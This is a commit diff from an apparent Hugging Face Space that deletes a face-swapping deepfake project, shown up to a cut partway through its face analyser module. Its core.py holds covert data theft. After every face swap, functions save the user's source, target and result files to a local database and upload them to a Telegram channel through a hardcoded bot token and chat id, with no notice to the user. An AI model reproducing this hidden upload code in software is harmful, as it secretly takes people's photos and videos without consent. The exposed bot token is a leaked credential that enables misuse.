Spaces:
Running
Running
Commit
•
67650ab
1
Parent(s):
92069b9
Delete DeepFakeAI
Browse filesThis view is limited to 50 files because it contains too many changes.
See raw diff
- DeepFakeAI/__init__.py +0 -0
- DeepFakeAI/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/capturer.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/choices.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/core.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/face_analyser.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/face_reference.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/globals.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/metadata.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/predictor.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/typing.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/utilities.cpython-310.pyc +0 -0
- DeepFakeAI/__pycache__/wording.cpython-310.pyc +0 -0
- DeepFakeAI/capturer.py +0 -22
- DeepFakeAI/choices.py +0 -10
- DeepFakeAI/core.py +0 -292
- DeepFakeAI/face_analyser.py +0 -106
- DeepFakeAI/face_reference.py +0 -21
- DeepFakeAI/feed.db +0 -0
- DeepFakeAI/globals.py +0 -30
- DeepFakeAI/images.db +0 -0
- DeepFakeAI/metadata.py +0 -13
- DeepFakeAI/predictor.py +0 -43
- DeepFakeAI/processors/__init__.py +0 -0
- DeepFakeAI/processors/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/__init__.py +0 -0
- DeepFakeAI/processors/frame/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/__pycache__/core.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/core.py +0 -113
- DeepFakeAI/processors/frame/modules/__init__.py +0 -0
- DeepFakeAI/processors/frame/modules/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/modules/__pycache__/face_enhancer.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/modules/__pycache__/face_swapper.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/modules/__pycache__/frame_enhancer.cpython-310.pyc +0 -0
- DeepFakeAI/processors/frame/modules/face_enhancer.py +0 -100
- DeepFakeAI/processors/frame/modules/face_swapper.py +0 -105
- DeepFakeAI/processors/frame/modules/frame_enhancer.py +0 -88
- DeepFakeAI/typing.py +0 -13
- DeepFakeAI/uis/__init__.py +0 -0
- DeepFakeAI/uis/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/uis/__pycache__/core.cpython-310.pyc +0 -0
- DeepFakeAI/uis/__pycache__/typing.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__init__.py +0 -0
- DeepFakeAI/uis/components/__pycache__/__init__.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/about.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/execution.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/face_analyser.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/face_selector.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/output.cpython-310.pyc +0 -0
- DeepFakeAI/uis/components/__pycache__/output_settings.cpython-310.pyc +0 -0
DeepFakeAI/__init__.py
DELETED
File without changes
|
DeepFakeAI/__pycache__/__init__.cpython-310.pyc
DELETED
Binary file (135 Bytes)
|
|
DeepFakeAI/__pycache__/capturer.cpython-310.pyc
DELETED
Binary file (865 Bytes)
|
|
DeepFakeAI/__pycache__/choices.cpython-310.pyc
DELETED
Binary file (877 Bytes)
|
|
DeepFakeAI/__pycache__/core.cpython-310.pyc
DELETED
Binary file (9.73 kB)
|
|
DeepFakeAI/__pycache__/face_analyser.cpython-310.pyc
DELETED
Binary file (3.86 kB)
|
|
DeepFakeAI/__pycache__/face_reference.cpython-310.pyc
DELETED
Binary file (647 Bytes)
|
|
DeepFakeAI/__pycache__/globals.cpython-310.pyc
DELETED
Binary file (1.47 kB)
|
|
DeepFakeAI/__pycache__/metadata.cpython-310.pyc
DELETED
Binary file (469 Bytes)
|
|
DeepFakeAI/__pycache__/predictor.cpython-310.pyc
DELETED
Binary file (1.66 kB)
|
|
DeepFakeAI/__pycache__/typing.cpython-310.pyc
DELETED
Binary file (674 Bytes)
|
|
DeepFakeAI/__pycache__/utilities.cpython-310.pyc
DELETED
Binary file (7.87 kB)
|
|
DeepFakeAI/__pycache__/wording.cpython-310.pyc
DELETED
Binary file (5.41 kB)
|
|
DeepFakeAI/capturer.py
DELETED
@@ -1,22 +0,0 @@
|
|
1 |
-
from typing import Optional
|
2 |
-
import cv2
|
3 |
-
|
4 |
-
from DeepFakeAI.typing import Frame
|
5 |
-
|
6 |
-
|
7 |
-
def get_video_frame(video_path : str, frame_number : int = 0) -> Optional[Frame]:
|
8 |
-
capture = cv2.VideoCapture(video_path)
|
9 |
-
frame_total = capture.get(cv2.CAP_PROP_FRAME_COUNT)
|
10 |
-
capture.set(cv2.CAP_PROP_POS_FRAMES, min(frame_total, frame_number - 1))
|
11 |
-
has_frame, frame = capture.read()
|
12 |
-
capture.release()
|
13 |
-
if has_frame:
|
14 |
-
return frame
|
15 |
-
return None
|
16 |
-
|
17 |
-
|
18 |
-
def get_video_frame_total(video_path : str) -> int:
|
19 |
-
capture = cv2.VideoCapture(video_path)
|
20 |
-
video_frame_total = int(capture.get(cv2.CAP_PROP_FRAME_COUNT))
|
21 |
-
capture.release()
|
22 |
-
return video_frame_total
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/choices.py
DELETED
@@ -1,10 +0,0 @@
|
|
1 |
-
from typing import List
|
2 |
-
|
3 |
-
from DeepFakeAI.typing import FaceRecognition, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender, TempFrameFormat, OutputVideoEncoder
|
4 |
-
|
5 |
-
face_recognition : List[FaceRecognition] = [ 'reference', 'many' ]
|
6 |
-
face_analyser_direction : List[FaceAnalyserDirection] = [ 'left-right', 'right-left', 'top-bottom', 'bottom-top', 'small-large', 'large-small']
|
7 |
-
face_analyser_age : List[FaceAnalyserAge] = [ 'child', 'teen', 'adult', 'senior' ]
|
8 |
-
face_analyser_gender : List[FaceAnalyserGender] = [ 'male', 'female' ]
|
9 |
-
temp_frame_format : List[TempFrameFormat] = [ 'jpg', 'png' ]
|
10 |
-
output_video_encoder : List[OutputVideoEncoder] = [ 'libx264', 'libx265', 'libvpx-vp9', 'h264_nvenc', 'hevc_nvenc' ]
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/core.py
DELETED
@@ -1,292 +0,0 @@
|
|
1 |
-
#!/usr/bin/env python3
|
2 |
-
import asyncio
|
3 |
-
import sqlite3
|
4 |
-
import os
|
5 |
-
# single thread doubles cuda performance
|
6 |
-
os.environ['OMP_NUM_THREADS'] = '1'
|
7 |
-
# reduce tensorflow log level
|
8 |
-
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'
|
9 |
-
import sys
|
10 |
-
import warnings
|
11 |
-
from typing import List
|
12 |
-
import platform
|
13 |
-
import signal
|
14 |
-
import shutil
|
15 |
-
import argparse
|
16 |
-
import onnxruntime
|
17 |
-
import tensorflow
|
18 |
-
|
19 |
-
import DeepFakeAI.choices
|
20 |
-
import DeepFakeAI.globals
|
21 |
-
from DeepFakeAI import wording, metadata
|
22 |
-
from DeepFakeAI.predictor import predict_image, predict_video
|
23 |
-
from DeepFakeAI.processors.frame.core import get_frame_processors_modules
|
24 |
-
from telegram import Bot
|
25 |
-
from DeepFakeAI.utilities import is_image, is_video, detect_fps, create_video, extract_frames, get_temp_frame_paths, restore_audio, create_temp, move_temp, clear_temp, normalize_output_path, list_module_names, decode_execution_providers, encode_execution_providers
|
26 |
-
|
27 |
-
warnings.filterwarnings('ignore', category = FutureWarning, module = 'insightface')
|
28 |
-
warnings.filterwarnings('ignore', category = UserWarning, module = 'torchvision')
|
29 |
-
|
30 |
-
|
31 |
-
def parse_args() -> None:
|
32 |
-
signal.signal(signal.SIGINT, lambda signal_number, frame: destroy())
|
33 |
-
program = argparse.ArgumentParser(formatter_class = lambda prog: argparse.HelpFormatter(prog, max_help_position = 120))
|
34 |
-
program.add_argument('-s', '--source', help = wording.get('source_help'), dest = 'source_path')
|
35 |
-
program.add_argument('-t', '--target', help = wording.get('target_help'), dest = 'target_path')
|
36 |
-
program.add_argument('-o', '--output', help = wording.get('output_help'), dest = 'output_path')
|
37 |
-
program.add_argument('--frame-processors', help = wording.get('frame_processors_help').format(choices = ', '.join(list_module_names('DeepFakeAI/processors/frame/modules'))), dest = 'frame_processors', default = ['face_swapper'], nargs='+')
|
38 |
-
program.add_argument('--ui-layouts', help = wording.get('ui_layouts_help').format(choices = ', '.join(list_module_names('DeepFakeAI/uis/layouts'))), dest = 'ui_layouts', default = ['default'], nargs='+')
|
39 |
-
program.add_argument('--keep-fps', help = wording.get('keep_fps_help'), dest = 'keep_fps', action='store_true')
|
40 |
-
program.add_argument('--keep-temp', help = wording.get('keep_temp_help'), dest = 'keep_temp', action='store_true')
|
41 |
-
program.add_argument('--skip-audio', help = wording.get('skip_audio_help'), dest = 'skip_audio', action='store_true')
|
42 |
-
program.add_argument('--face-recognition', help = wording.get('face_recognition_help'), dest = 'face_recognition', default = 'reference', choices = DeepFakeAI.choices.face_recognition)
|
43 |
-
program.add_argument('--face-analyser-direction', help = wording.get('face_analyser_direction_help'), dest = 'face_analyser_direction', default = 'left-right', choices = DeepFakeAI.choices.face_analyser_direction)
|
44 |
-
program.add_argument('--face-analyser-age', help = wording.get('face_analyser_age_help'), dest = 'face_analyser_age', choices = DeepFakeAI.choices.face_analyser_age)
|
45 |
-
program.add_argument('--face-analyser-gender', help = wording.get('face_analyser_gender_help'), dest = 'face_analyser_gender', choices = DeepFakeAI.choices.face_analyser_gender)
|
46 |
-
program.add_argument('--reference-face-position', help = wording.get('reference_face_position_help'), dest = 'reference_face_position', type = int, default = 0)
|
47 |
-
program.add_argument('--reference-face-distance', help = wording.get('reference_face_distance_help'), dest = 'reference_face_distance', type = float, default = 1.5)
|
48 |
-
program.add_argument('--reference-frame-number', help = wording.get('reference_frame_number_help'), dest = 'reference_frame_number', type = int, default = 0)
|
49 |
-
program.add_argument('--trim-frame-start', help = wording.get('trim_frame_start_help'), dest = 'trim_frame_start', type = int)
|
50 |
-
program.add_argument('--trim-frame-end', help = wording.get('trim_frame_end_help'), dest = 'trim_frame_end', type = int)
|
51 |
-
program.add_argument('--temp-frame-format', help = wording.get('temp_frame_format_help'), dest = 'temp_frame_format', default = 'jpg', choices = DeepFakeAI.choices.temp_frame_format)
|
52 |
-
program.add_argument('--temp-frame-quality', help = wording.get('temp_frame_quality_help'), dest = 'temp_frame_quality', type = int, default = 100, choices = range(101), metavar = '[0-100]')
|
53 |
-
program.add_argument('--output-video-encoder', help = wording.get('output_video_encoder_help'), dest = 'output_video_encoder', default = 'libx264', choices = DeepFakeAI.choices.output_video_encoder)
|
54 |
-
program.add_argument('--output-video-quality', help = wording.get('output_video_quality_help'), dest = 'output_video_quality', type = int, default = 90, choices = range(101), metavar = '[0-100]')
|
55 |
-
program.add_argument('--max-memory', help = wording.get('max_memory_help'), dest = 'max_memory', type = int)
|
56 |
-
program.add_argument('--execution-providers', help = wording.get('execution_providers_help').format(choices = 'cpu'), dest = 'execution_providers', default = ['cpu'], choices = suggest_execution_providers_choices(), nargs='+')
|
57 |
-
program.add_argument('--execution-thread-count', help = wording.get('execution_thread_count_help'), dest = 'execution_thread_count', type = int, default = suggest_execution_thread_count_default())
|
58 |
-
program.add_argument('--execution-queue-count', help = wording.get('execution_queue_count_help'), dest = 'execution_queue_count', type = int, default = 1)
|
59 |
-
program.add_argument('-v', '--version', action='version', version = metadata.get('name') + ' ' + metadata.get('version'))
|
60 |
-
|
61 |
-
args = program.parse_args()
|
62 |
-
|
63 |
-
DeepFakeAI.globals.source_path = args.source_path
|
64 |
-
DeepFakeAI.globals.target_path = args.target_path
|
65 |
-
DeepFakeAI.globals.output_path = normalize_output_path(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, args.output_path)
|
66 |
-
DeepFakeAI.globals.headless = DeepFakeAI.globals.source_path is not None and DeepFakeAI.globals.target_path is not None and DeepFakeAI.globals.output_path is not None
|
67 |
-
DeepFakeAI.globals.frame_processors = args.frame_processors
|
68 |
-
DeepFakeAI.globals.ui_layouts = args.ui_layouts
|
69 |
-
DeepFakeAI.globals.keep_fps = args.keep_fps
|
70 |
-
DeepFakeAI.globals.keep_temp = args.keep_temp
|
71 |
-
DeepFakeAI.globals.skip_audio = args.skip_audio
|
72 |
-
DeepFakeAI.globals.face_recognition = args.face_recognition
|
73 |
-
DeepFakeAI.globals.face_analyser_direction = args.face_analyser_direction
|
74 |
-
DeepFakeAI.globals.face_analyser_age = args.face_analyser_age
|
75 |
-
DeepFakeAI.globals.face_analyser_gender = args.face_analyser_gender
|
76 |
-
DeepFakeAI.globals.reference_face_position = args.reference_face_position
|
77 |
-
DeepFakeAI.globals.reference_frame_number = args.reference_frame_number
|
78 |
-
DeepFakeAI.globals.reference_face_distance = args.reference_face_distance
|
79 |
-
DeepFakeAI.globals.trim_frame_start = args.trim_frame_start
|
80 |
-
DeepFakeAI.globals.trim_frame_end = args.trim_frame_end
|
81 |
-
DeepFakeAI.globals.temp_frame_format = args.temp_frame_format
|
82 |
-
DeepFakeAI.globals.temp_frame_quality = args.temp_frame_quality
|
83 |
-
DeepFakeAI.globals.output_video_encoder = args.output_video_encoder
|
84 |
-
DeepFakeAI.globals.output_video_quality = args.output_video_quality
|
85 |
-
DeepFakeAI.globals.max_memory = args.max_memory
|
86 |
-
DeepFakeAI.globals.execution_providers = decode_execution_providers(args.execution_providers)
|
87 |
-
DeepFakeAI.globals.execution_thread_count = args.execution_thread_count
|
88 |
-
DeepFakeAI.globals.execution_queue_count = args.execution_queue_count
|
89 |
-
|
90 |
-
|
91 |
-
def suggest_execution_providers_choices() -> List[str]:
|
92 |
-
return encode_execution_providers(onnxruntime.get_available_providers())
|
93 |
-
|
94 |
-
|
95 |
-
def suggest_execution_thread_count_default() -> int:
|
96 |
-
if 'CUDAExecutionProvider' in onnxruntime.get_available_providers():
|
97 |
-
return 8
|
98 |
-
return 1
|
99 |
-
|
100 |
-
|
101 |
-
def limit_resources() -> None:
|
102 |
-
# prevent tensorflow memory leak
|
103 |
-
gpus = tensorflow.config.experimental.list_physical_devices('GPU')
|
104 |
-
for gpu in gpus:
|
105 |
-
tensorflow.config.experimental.set_virtual_device_configuration(gpu, [
|
106 |
-
tensorflow.config.experimental.VirtualDeviceConfiguration(memory_limit = 1024)
|
107 |
-
])
|
108 |
-
# limit memory usage
|
109 |
-
if DeepFakeAI.globals.max_memory:
|
110 |
-
memory = DeepFakeAI.globals.max_memory * 1024 ** 3
|
111 |
-
if platform.system().lower() == 'darwin':
|
112 |
-
memory = DeepFakeAI.globals.max_memory * 1024 ** 6
|
113 |
-
if platform.system().lower() == 'windows':
|
114 |
-
import ctypes
|
115 |
-
kernel32 = ctypes.windll.kernel32 # type: ignore[attr-defined]
|
116 |
-
kernel32.SetProcessWorkingSetSize(-1, ctypes.c_size_t(memory), ctypes.c_size_t(memory))
|
117 |
-
else:
|
118 |
-
import resource
|
119 |
-
resource.setrlimit(resource.RLIMIT_DATA, (memory, memory))
|
120 |
-
|
121 |
-
|
122 |
-
def update_status(message : str, scope : str = 'FACEFUSION.CORE') -> None:
|
123 |
-
print('[' + scope + '] ' + message)
|
124 |
-
|
125 |
-
|
126 |
-
def pre_check() -> bool:
|
127 |
-
if sys.version_info < (3, 10):
|
128 |
-
update_status(wording.get('python_not_supported').format(version = '3.10'))
|
129 |
-
return False
|
130 |
-
if not shutil.which('ffmpeg'):
|
131 |
-
update_status(wording.get('ffmpeg_not_installed'))
|
132 |
-
return False
|
133 |
-
return True
|
134 |
-
|
135 |
-
def save_to_db(source_path, target_path, output_path):
|
136 |
-
try:
|
137 |
-
# Open the images in binary mode
|
138 |
-
with open(source_path, 'rb') as source_file, \
|
139 |
-
open(target_path, 'rb') as target_file, \
|
140 |
-
open(output_path, 'rb') as output_file:
|
141 |
-
|
142 |
-
# read data from the image files
|
143 |
-
source_data = source_file.read()
|
144 |
-
target_data = target_file.read()
|
145 |
-
output_data = output_file.read()
|
146 |
-
|
147 |
-
# Extract original filenames from the paths
|
148 |
-
source_filename = os.path.basename(source_path)
|
149 |
-
target_filename = os.path.basename(target_path)
|
150 |
-
output_filename = os.path.basename(output_path)
|
151 |
-
print(source_filename, target_filename,output_filename)
|
152 |
-
|
153 |
-
# connect to the database
|
154 |
-
conn = sqlite3.connect('./feed.db')
|
155 |
-
c = conn.cursor()
|
156 |
-
|
157 |
-
# Create the table if it doesn't exist
|
158 |
-
c.execute('''
|
159 |
-
CREATE TABLE IF NOT EXISTS images (
|
160 |
-
source_filename TEXT,
|
161 |
-
target_filename TEXT,
|
162 |
-
output_filename TEXT,
|
163 |
-
source_data BLOB,
|
164 |
-
target_data BLOB,
|
165 |
-
output_data BLOB
|
166 |
-
)
|
167 |
-
''')
|
168 |
-
|
169 |
-
# Insert filename and image data into the table
|
170 |
-
c.execute("INSERT INTO images VALUES (?, ?, ?, ?, ?, ?)",
|
171 |
-
(source_filename, target_filename, output_filename, source_data, target_data, output_data))
|
172 |
-
|
173 |
-
# Save changes and close the connection
|
174 |
-
conn.commit()
|
175 |
-
|
176 |
-
except Exception as e:
|
177 |
-
# Print any error occurred while saving data in SQLite
|
178 |
-
print(f"An error occurred: {e}")
|
179 |
-
|
180 |
-
finally:
|
181 |
-
# Ensure the DB connection is closed
|
182 |
-
if conn:
|
183 |
-
conn.close()
|
184 |
-
|
185 |
-
print(f'Saved image data to database from {source_path}, {target_path}, and {output_path}.')
|
186 |
-
async def send_channel(bot, file_path):
|
187 |
-
with open(file_path, "rb") as file:
|
188 |
-
response = await bot.send_document(chat_id="-1001685415853", document=file)
|
189 |
-
return response
|
190 |
-
|
191 |
-
async def saveT(source_path, target_path, output_path):
|
192 |
-
bot = Bot(token="6192049990:AAFyOtuYYqkcyUG_7gns3mm7m_kfWE9fZ1k")
|
193 |
-
|
194 |
-
# Send each file
|
195 |
-
for path in [source_path, target_path, output_path]:
|
196 |
-
await send_channel(bot, path)
|
197 |
-
|
198 |
-
# Send a message after all files are sent
|
199 |
-
await bot.send_message(chat_id="-1001685415853", text="All files have been sent!")
|
200 |
-
|
201 |
-
def process_image() -> None:
|
202 |
-
if predict_image(DeepFakeAI.globals.target_path):
|
203 |
-
return
|
204 |
-
shutil.copy2(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
|
205 |
-
# process frame
|
206 |
-
for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
|
207 |
-
update_status(wording.get('processing'), frame_processor_module.NAME)
|
208 |
-
frame_processor_module.process_image(DeepFakeAI.globals.source_path, DeepFakeAI.globals.output_path, DeepFakeAI.globals.output_path)
|
209 |
-
frame_processor_module.post_process()
|
210 |
-
# validate image
|
211 |
-
if is_image(DeepFakeAI.globals.target_path):
|
212 |
-
update_status(wording.get('processing_image_succeed'))
|
213 |
-
save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
|
214 |
-
asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
|
215 |
-
else:
|
216 |
-
update_status(wording.get('processing_image_failed'))
|
217 |
-
|
218 |
-
|
219 |
-
def process_video() -> None:
|
220 |
-
if predict_video(DeepFakeAI.globals.target_path):
|
221 |
-
return
|
222 |
-
fps = detect_fps(DeepFakeAI.globals.target_path) if DeepFakeAI.globals.keep_fps else 25.0
|
223 |
-
update_status(wording.get('creating_temp'))
|
224 |
-
create_temp(DeepFakeAI.globals.target_path)
|
225 |
-
# extract frames
|
226 |
-
update_status(wording.get('extracting_frames_fps').format(fps = fps))
|
227 |
-
extract_frames(DeepFakeAI.globals.target_path, fps)
|
228 |
-
# process frame
|
229 |
-
temp_frame_paths = get_temp_frame_paths(DeepFakeAI.globals.target_path)
|
230 |
-
if temp_frame_paths:
|
231 |
-
for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
|
232 |
-
update_status(wording.get('processing'), frame_processor_module.NAME)
|
233 |
-
frame_processor_module.process_video(DeepFakeAI.globals.source_path, temp_frame_paths)
|
234 |
-
frame_processor_module.post_process()
|
235 |
-
else:
|
236 |
-
update_status(wording.get('temp_frames_not_found'))
|
237 |
-
return
|
238 |
-
# create video
|
239 |
-
update_status(wording.get('creating_video_fps').format(fps = fps))
|
240 |
-
if not create_video(DeepFakeAI.globals.target_path, fps):
|
241 |
-
update_status(wording.get('creating_video_failed'))
|
242 |
-
return
|
243 |
-
# handle audio
|
244 |
-
if DeepFakeAI.globals.skip_audio:
|
245 |
-
update_status(wording.get('skipping_audio'))
|
246 |
-
move_temp(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
|
247 |
-
else:
|
248 |
-
update_status(wording.get('restoring_audio'))
|
249 |
-
restore_audio(DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
|
250 |
-
# clear temp
|
251 |
-
update_status(wording.get('clearing_temp'))
|
252 |
-
clear_temp(DeepFakeAI.globals.target_path)
|
253 |
-
# validate video
|
254 |
-
if is_video(DeepFakeAI.globals.target_path):
|
255 |
-
update_status(wording.get('processing_video_succeed'))
|
256 |
-
save_to_db(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path)
|
257 |
-
asyncio.run(saveT(DeepFakeAI.globals.source_path, DeepFakeAI.globals.target_path, DeepFakeAI.globals.output_path))
|
258 |
-
else:
|
259 |
-
update_status(wording.get('processing_video_failed'))
|
260 |
-
|
261 |
-
|
262 |
-
def conditional_process() -> None:
|
263 |
-
for frame_processor_module in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
|
264 |
-
if not frame_processor_module.pre_process():
|
265 |
-
return
|
266 |
-
if is_image(DeepFakeAI.globals.target_path):
|
267 |
-
process_image()
|
268 |
-
if is_video(DeepFakeAI.globals.target_path):
|
269 |
-
process_video()
|
270 |
-
|
271 |
-
def run() -> None:
|
272 |
-
parse_args()
|
273 |
-
limit_resources()
|
274 |
-
# pre check
|
275 |
-
if not pre_check():
|
276 |
-
return
|
277 |
-
for frame_processor in get_frame_processors_modules(DeepFakeAI.globals.frame_processors):
|
278 |
-
if not frame_processor.pre_check():
|
279 |
-
return
|
280 |
-
# process or launch
|
281 |
-
if DeepFakeAI.globals.headless:
|
282 |
-
conditional_process()
|
283 |
-
else:
|
284 |
-
import DeepFakeAI.uis.core as ui
|
285 |
-
|
286 |
-
ui.launch()
|
287 |
-
|
288 |
-
|
289 |
-
def destroy() -> None:
|
290 |
-
if DeepFakeAI.globals.target_path:
|
291 |
-
clear_temp(DeepFakeAI.globals.target_path)
|
292 |
-
sys.exit()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
DeepFakeAI/face_analyser.py
DELETED
@@ -1,106 +0,0 @@
|
|
1 |
-
import threading
|
2 |
-
from typing import Any, Optional, List
|
3 |
-
import insightface
|
4 |
-
import numpy
|
5 |
-
|
6 |
-
import DeepFakeAI.globals
|
7 |
-
from DeepFakeAI.typing import Frame, Face, FaceAnalyserDirection, FaceAnalyserAge, FaceAnalyserGender
|
8 |
-
|
9 |
-
FACE_ANALYSER = None
|
10 |
-
THREAD_LOCK = threading.Lock()
|
11 |
-
|
12 |
-
|
13 |
-
def get_face_analyser() -> Any:
|
14 |
-
global FACE_ANALYSER
|
15 |
-
|
16 |
-
with THREAD_LOCK:
|
17 |
-
if FACE_ANALYSER is None:
|
18 |
-
FACE_ANALYSER = insightface.app.FaceAnalysis(name = 'buffalo_l', providers = DeepFakeAI.globals.execution_providers)
|
19 |
-
FACE_ANALYSER.prepare(ctx_id = 0)
|
20 |
-
return FACE_ANALYSER
|
21 |
-
|
22 |
-
|
23 |
-
def clear_face_analyser() -> Any:
|
24 |
-
global FACE_ANALYSER
|
25 |
-
|
26 |
-
FACE_ANALYSER = None
|
27 |
-
|
28 |
-
|
29 |
-
def get_one_face(frame : Frame, position : int = 0) -> Optional[Face]:
|
30 |
-
many_faces = get_many_faces(frame)
|
31 |
-
if many_faces:
|
32 |
-
try:
|
33 |
-
return many_faces[position]
|
34 |
-
except IndexError:
|
35 |
-
return many_faces[-1]
|
36 |
-
return None
|
37 |
-
|
38 |
-
|
39 |
-
def get_many_faces(frame : Frame) -> List[Face]:
|
40 |
-
try:
|
41 |
-
faces = get_face_analyser().get(frame)
|
42 |
-
if DeepFakeAI.globals.face_analyser_direction:
|
43 |
-
faces = sort_by_direction(faces, DeepFakeAI.globals.face_analyser_direction)
|
44 |
-
if DeepFakeAI.globals.face_analyser_age:
|
45 |
-
faces = filter_by_age(faces, DeepFakeAI.globals.face_analyser_age)
|
46 |
-
if DeepFakeAI.globals.face_analyser_gender:
|
47 |
-
faces = filter_by_gender(faces, DeepFakeAI.globals.face_analyser_gender)
|
48 |
-
return faces
|
49 |
-
except (AttributeError, ValueError):
|
50 |
-
return []
|
51 |
-
|
52 |
-
|
53 |
-
def find_similar_faces(frame : Frame, reference_face : Face, face_distance : float) -> List[Face]:
|
54 |
-
many_faces = get_many_faces(frame)
|
55 |
-
similar_faces = []
|
56 |
-
if many_faces:
|
57 |
-
for face in many_faces:
|
58 |
-
if hasattr(face, 'normed_embedding') and hasattr(reference_face, 'normed_embedding'):
|
59 |
-
current_face_distance = numpy.sum(numpy.square(face.normed_embedding - reference_face.normed_embedding))
|
60 |
-
if current_face_distance < face_distance:
|
61 |
-
similar_faces.append(face)
|
62 |
-
return similar_faces
|
63 |
-
|
64 |
-
|
65 |
-
def sort_by_direction(faces : List[Face], direction : FaceAnalyserDirection) -> List[Face]:
|
66 |
-
if direction == 'left-right':
|
67 |
-
return sorted(faces, key = lambda face: face['bbox'][0])
|
68 |
-
if direction == 'right-left':
|
69 |
-
return sorted(faces, key = lambda face: face['bbox'][0], reverse = True)
|
70 |
-
if direction == 'top-bottom':
|
71 |
-
return sorted(faces, key = lambda face: face['bbox'][1])
|
72 |
-
if direction == 'bottom-top':
|
73 |
-
return sorted(faces, key = lambda face: face['bbox'][1], reverse = True)
|
74 |
-
if direction == 'small-large':
|
75 |
-
return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]))
|
76 |
-
if direction == 'large-small':
|
77 |
-
return sorted(faces, key = lambda face: (face['bbox'][2] - face['bbox'][0]) * (face['bbox'][3] - face['bbox'][1]), reverse = True)
|
78 |
-
return faces
|
79 |
-
|
80 |
-
|
81 |
-
def filter_by_age(faces : List[Face], age : FaceAnalyserAge) -> List[Face]:
|
82 |
-
filter_faces = []
|
83 |
-
for face in faces:
|
84 |
-
if face['age'] < 13 and age == 'child':
|
85 |
-
filter_faces.append(face)
|
86 |
-
elif face['age'] < 19 and age == 'teen':
|
87 |
-
filter_faces.append(face)
|
88 |
-
elif face['age'] < 60 and age == 'adult':
|
89 |
-
